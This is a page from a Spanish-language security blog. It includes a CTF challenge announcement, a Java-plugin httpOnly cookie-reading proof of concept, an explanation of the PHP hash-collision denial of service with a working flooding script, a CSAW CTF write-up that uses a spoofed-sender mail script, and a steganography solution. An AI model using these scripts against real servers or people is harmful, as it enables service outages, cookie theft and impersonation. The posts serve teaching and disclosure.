Contenido principal

NULL Game

Abril 24, 2012

NULL Life

A continuación podrán encontrar el enlace que los llevará a través de una serie de retos elaborados en PHP, para completar cada reto deben llegar a la función readfile(), una vez allí, el script le mostrará la ruta para el siguiente nivel. El número de niveles es desconocido, una vez complete toda la serie lo sabrá!

Es la oportunidad perfecta para demostrar varios de los conocimientos que pueden ser adquiridos en el área de la seguridad referente a PHP, además, la primera persona en completar todos los niveles, ganará una extraordinaria suma de 64usd! (Lo siento, es lo que puedo ofrecer al momento), el premio es redimible con paypal o amazon!

Como retroalimentación, puedes enviarme al correo tu avance, como respuesta pueden haber pistas!

Email

LLévame al NULL Game!

Archivado en: Retos informáticos, Seguridad | Comentarios (6)

Bypass httpOnly in Firefox 8.0.1 and Java 7ux

Enero 2, 2012

This vulnerability allows an attacker to read cookie values created by httpOnly mechanism using Java plugin for Mozilla browsers (npjp2.dll). Remember that: "The new release of Java is first made available to the developers to ensure no major problems are found before we make it available on the java.com website for end users to download the latest version. If you are interested in trying Java SE 7 it can be downloaded from Oracle.com", so there is no risk when using earlier versions of plugin.

All the credits goes to Mario Heiderich for publishing an image that contains some hints about the vulnerability (http://yfrog.com/gzsmipp).

This is the proof of concept

The code I used was:

var jurl = new Packages.java.net.URL(document.URL);
var c = jurl.openConnection();
var h = c.getHeaderFields();
alert(h);

Archivado en: Hacking, Seguridad | Comentarios (4)

Denegación de servicio a través de tabla hash en PHP

Enero 2, 2012

En el 2003, Scott A. Crosby y Dan S. Wallach publicaron la teoría inicial de denegación de servicio a través de tablas hash en el artículo "Denial of Service via Algorithmic Complexity Attacks", allí explican como las deficiencias en los algoritmos para generar el índice de la tabla hash y la implementación de algoritmos contra colisiones pueden ser aprovechados para provocar una denegación de servicio que utiliza poco ancho de banda.

El 28 de diciembre de 2011, la compañía de consultoría n.runs envió a la lista de Full Disclosure una publicación con más detalle de la vulnerabilidad, mencionando en este caso los productos afectados, entre los que podemos encontrar: PHP, Java, Apache Tomcat, Apache Geronimo, Jetty, Oracle Glassfish, ASP.NET, Python, Plone, CRuby 1.8, JRuby, Rubinius y v8.

A continuación un pequeño resumen de la vulnerabilidad y como puede ser explotada en PHP.

Tablas hash

La tabla hash es una estructura de datos usada para asociar índices con valores. A continuación el ejemplo típico de tabla hash en PHP.

Esta asociación se realiza nativamente en PHP5 mediante un índice numérico obtenido a través de la función DJBX33A cuando el índice es una cadena de texto. Si el índice es numérico entonces el hash es simplemente el índice.

static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
    register ulong hash = 5381;
    /* variant with the hash unrolled eight times */
    for (; nKeyLength >= 8; nKeyLength -= 8) {
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
    }
    switch (nKeyLength) {
        case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 1: hash = ((hash << 5) + hash) + *arKey++; break;
        case 0: break;
        EMPTY_SWITCH_DEFAULT_CASE()
    }
    return hash;
}

El resultado para la anterior asociación es algo similar a:

Cuando se produce una colisión (Índices diferentes con el mismo valor hash), existen diferentes algoritmos para conservar los valores aún sabiendo que el índice nativo es el mismo.

PHP usa el algoritmo de encadenamiento separado, para cada índice con colisión crea una lista con los valores como es mostrado a continuación. (Imagen generada por Jorge Stolfi)

La colisión está presente para los índices "John Smith" y "Sandra Dee", en el índice nativo 152 se crea una lista con los valores originales de John y Sandra: "521-1234" y "521-9655". Cuando se crean muchas colisiones, el algoritmo debe recorrer todos los elementos en busca del último en la lista.

Ahora veamos la vulnerabilidad desde la programación de PHP. Para cada índice en la tabla hash se tiene una estructura llamada bucket:

typedef struct bucket {
 ulong h; /* Used for numeric indexing */ // hash
 uint nKeyLength; // longitud del índice (En caso de ser cadena de texto)
 void *pData;
 void *pDataPtr;
 struct bucket *pListNext; // siguiente elemento
 struct bucket *pListLast; // último elemento
 struct bucket *pNext; // siguiente elemento cuando hay colisión
 struct bucket *pLast; // último elemento cuando hay colisión
 char arKey[1]; /* Must be last element */
} Bucket;

Al crear un array con valores numéricos, PHP llama internamente la función _zend_hash_index_update_or_next_insert que tiene como principal argumento la tabla hash y el hash h que corresponde al índice numérico.

ZEND_API int _zend_hash_index_update_or_next_insert(HashTable *ht, ulong h, void *pData, uint nDataSize, void **pDest, int flag ZEND_FILE_LINE_DC)

Si el elemento está destinado a inserción, se busca el siguiente elemento libre de la tabla hash

if (flag & HASH_NEXT_INSERT) {
    h = ht->nNextFreeElement;
}

Y acá se encuentra la vulnerabilidad, al hash se le aplica la operación AND con la máscara de la tabla que es definida como ht->nTableMask = ht->nTableSize - 1, y es asignado al índice nativo

    nIndex = h & ht->nTableMask;

El tamaño de la tabla a su vez es definida por la instrucción ht->nTableSize = 1 << i;, la cual permite definir un tamaño razonable en potencias de dos, comenzando desde un tamaño mínimo de 8.

Número de elementos Tamaño real
1 8
2 8
3 8
7 8
15 16
60 64
269 512

Luego de obtener el índice nativo, se retorna el bucket para ese índice. Si el bucket es diferente de nulo entonces es porque se encontró una colisión, lo siguiente que hace el algoritmo es comparar el hash actual con el hash anterior (Recordar que el hash es el índice numérico no nativo, por lo que deben ser diferentes), si son diferentes retorna el próximo bucket que se encuentra en la lista para la colisión nIndex. Cuando las colisiones son muchas, el ciclo es comparado a un ciclo infinito, lo que produce la denegación de servicio.

    p = ht->arBuckets[nIndex];
    while (p != NULL) {
    if ((p->nKeyLength == 0) && (p->h == h)) {
        // comentado para ahorrar espacio
    }
    p = p->pNext;

En PHP 5.3.9 se introdujo una nueva variable de configuración llamada "max_input_vars" que por defecto está en 1000. Es recomendable su actualización.

No siendo más, la famosa prueba de concepto.

Y el código con el que se realizó dicha prueba.

<?php
/**
 * Denial of service using hash table collisions in PHP
 * @author Daniel Correa
 * @url http://www.sinfocol.org/
 */
$payload = '';
$url = 'http://localhost/';
$size = 1024 * 1024 * 8; // 8MB is the default POST size in PHP

$i = 0;
do {
    $payload .= 'h[ ' . ($i * 8192) . ']=0';
} while (strlen($payload) < $size - 1024);

$start = microtime(true);

echo "Sending payload...\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);

$data = curl_exec($ch);
echo "Elapsed time: " . (microtime(true) - $start);

Archivado en: Hacking, Seguridad | Comentarios (7)

WriteUp EvilBurritos2 - CSAW 2011

Septiembre 27, 2011

A continuación pueden encontrar la solución para el reto EvilBurritos2, propuesto la semana pasada en Cyber Security Awareness Week (CSAW 2011).

Descripción

EvilBurritos2 - 300 Points
We also need you to compromise... I mean, investigate... Evil Burritos, please find the password to their server! http://csawctf.poly.edu:10000/75fc6678064eaa15f1385b031ce6246b/core.burritos

EvilBurritos2

Resolución

Buscando a través de las cadenas de texto en el archivo core.burritos, encontramos el siguiente correo.

* 1 FETCH (UID 6 BODY[] {1071}
MIME-Version: 1.0
Received: by 10.42.241.10 with HTTP; Sun, 28 Aug 2011 18:22:41 -0700 (PDT)
To: shrlchn99@evil-inc.burritos
Date: Sun, 28 Aug 2011 19:22:41 -0600
Message-ID: <CAETwm9ZgPAwARUw34_Jy=LdP3WPTuU68UCQUBeVswu-9OkVUxA@mail.gmail.com>
Subject: Evil Burritos
From: Kim Jung <kmjng6@gmail.com>
Content-Type: multipart/alternative; boundary=20cf30363ae736dd1204ab9abb2f
--20cf30363ae736dd1204ab9abb2f
Content-Type: text/plain; charset=UTF-8
Shirly, I changed the name of the burrito making machine to KILLTHEPLANET.
If you want to change it back fell-free, just log in and type:
change-burrito-machine-name, if you forgot the password let me know.
LONG LIVE THE EVIL BURRITOS!
--20cf30363ae736dd1204ab9abb2f
Content-Type: text/html; charset=UTF-8
Shirly, I changed the name of the burrito making machine to KILLTHEPLANET. If you want to change it back fell-free, just log in and type: change-burrito-machine-name, if you forgot the password let me know.

LONG LIVE THE EVIL BURRITOS!

--20cf30363ae736dd1204ab9abb2f--

En él, Kim Jung le dice a Shirly que se ha cambiado el nombre de la máquina de burrito a KILLTHEPLANET y que si ha olvidado la contraseña puede contactar con Kim Jung.
Emyei (Un miembro de nuestro equipo), envio dos correos a la dirección kmjng6@gmail.com.
Con el primer correo la respuesta de Kim fue "Shirly???", enviando el mensaje "yes", Kim responde inmediatamente con "I don't know what you're talking about.".
Con esto se comprueba la teoría del bot detrás del correo.

El script desarrollado para pasar el reto es el siguiente.

<?php
    $to      = 'kmjng6@gmail.com';
    $subject = 'forgot password';
    $message = 'hello, I forgot my password of the KILLTHEPLANET machine. LONG LIVE THE EVIL BURRITOS!';
    $headers = 'From: shrlchn99@evil-inc.burritos' . "\r\n" .
               'Reply-To: admin [AT] sinfocol [D0T] org' . "\r\n";
    mail($to, $subject, $message, $headers);

Lo importante en el script no es el contenido de la variable $message, sino agregar correctamente los headers, "From" que apunte al correo de evil burritos, y "Reply-to" el correo donde la respuesta es enviada.

La respuesta obtenida fue.
Hi Shirly, saw you message, if you forgot the key it is: fire_burritos_are_really_really_good

Respuesta

fire_burritos_are_really_really_good

Archivado en: Hacking, Retos informáticos | Comentarios (4)

Resolución: Encuentra las 7 diferencias

Agosto 18, 2011

Luego de un tiempo considerable sin publicar algo, por fin me decido y saco tiempo para investigar y elaborar la resolución para el reto de Encuentras las 7 diferencias, en esta resolución podrán encontrar la forma en la que descubrí la palabra escondida, además de mi investigación sobre un método que fue totalmente nuevo para mí y que es el que más me ha dado dificultad aprender hasta el día de hoy, en resumen, el algoritmo oculta información a través del ordenamiento de listas: teniendo una lista de elementos y re ordenándola según un algoritmo, se pueden esconder bits de información. Este método es similar al algoritmo de cifrado One Time Pad, por lo que para recuperar la información oculta en la lista reordenada, debemos primero tener la lista original.

Las imágenes GIF contienen en su formato, un campo denominado tabla global de colores donde son almacenados todos los colores que contiene la imagen (El tamaño máximo para esta lista es de 256 colores). El programa usado en el reto ordena esta lista de colores en su forma 'natural' (R*65536 + G*256 + B) y luego reordenada estos colores para esconder la información. Luego del reordenamiento se modifican los índices que apuntan a los colores para que la imagen permanezca igual.

Este tipo de método tratado sobre imágenes GIF no altera de ninguna forma su apariencia visual, por lo que ataques estadísticos sobre la misma son inútiles.

Resolución reto número 12: Encuentra las 7 diferencias de hackplayers.blogspot.com

En el archivo comprimido pueden encontrar.
:arrow: La resolución oficial en formato PDF.
:arrow: Las imágenes originales del reto.
:arrow: Un script de mi autoría para comparar imágenes y al mismo tiempo realizar ataques visuales.
:arrow: Un análisis manual sobre como el programa reordena la tabla global de colores.

Archivado en: Esteganografía, Programación, Retos informáticos | Comentarios (3)